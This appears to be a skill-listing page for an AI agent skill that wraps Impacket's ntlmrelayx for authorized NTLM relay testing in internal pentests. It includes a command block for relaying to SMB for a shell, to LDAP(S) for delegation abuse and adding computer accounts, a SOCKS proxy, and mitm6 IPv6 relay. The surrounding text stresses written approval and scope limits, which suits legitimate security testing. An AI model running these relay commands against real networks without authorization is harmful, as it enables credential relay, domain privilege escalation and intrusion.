# Impacket Ntlmrelayx

> Use for tightly controlled NTLM relay validation during authorized internal pentests. Trigger on approved relay-path assessment, protocol hardening review, and confirming whether a captured authentication flow can be relayed to a specific approved target.

- Skill: `timsonner/impacket-ntlmrelayx` (Agent Skill)
- Install (CLI): `npx skillmds@latest add timsonner/impacket-ntlmrelayx`
- Raw SKILL.md: https://api.skillmd.com/api/skills/timsonner/impacket-ntlmrelayx/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Coding & Dev Tools
- License: MIT
- Author: timsonner (https://skillmd.com/u/timsonner)
- Updated: 2026-09-17
- Page: https://skillmd.com/skills/timsonner/impacket-ntlmrelayx

---


# Impacket Ntlmrelayx

## Purpose

Use this skill only when the rules of engagement explicitly permit NTLM relay-path validation against named approved targets.

## Phase Fit

- Primary: Validation and Controlled Impact Demonstration
- Secondary: Detection and Response Assessment, Retest and Closure

## Use When

- Need to validate whether a specific captured authentication flow can be relayed.
- Need to assess whether protocol hardening gaps create practical risk.
- Need to measure whether defenders detect the relay attempt.

## Avoid When

- Relay-style validation is not explicitly approved.
- Target lists or protocol boundaries are unclear.

## Inputs

- Approved relay targets
- Explicitly approved capture or source path
- Defender coordination if detection review is in scope

## Procedure

1. Confirm written approval and exact target boundaries.
2. Limit relay targets to the named approved set.
3. Use only the minimum technique needed to prove the path.
4. Stop once the hypothesis is confirmed or disproved.
5. Protect all captured or relayed material as sensitive evidence.

## Command Syntax

Replace sample targets and interfaces with approved in-scope values.

```bash
# Relay to SMB for interactive shell
ntlmrelayx.py -tf targets.txt -smb2support

# Relay to LDAPS for resource-based constrained delegation
ntlmrelayx.py -t ldaps://dc01.contoso.com -smb2support --delegate-access

# Relay to LDAP to add a computer account
ntlmrelayx.py -t ldap://dc01.contoso.com --add-computer

# Multi-target relay with SOCKS proxy
ntlmrelayx.py -tf targets.txt -smb2support -socks

# Combined with mitm6 for IPv6 relay to LDAP
ntlmrelayx.py -6 -t ldaps://dc01.contoso.com --delegate-access

# Suppress HTTP server (SMB-only capture)
ntlmrelayx.py -tf targets.txt -smb2support --no-http-server
```

## Evidence to Capture

- Whether the approved relay path succeeded
- Exact targets, protocol path, and approval boundary used
- Detection or alerting observations if defenders are in scope

## Safety Boundaries

- Use only with explicit written approval.
- Keep the target list minimal and protect all related evidence as sensitive.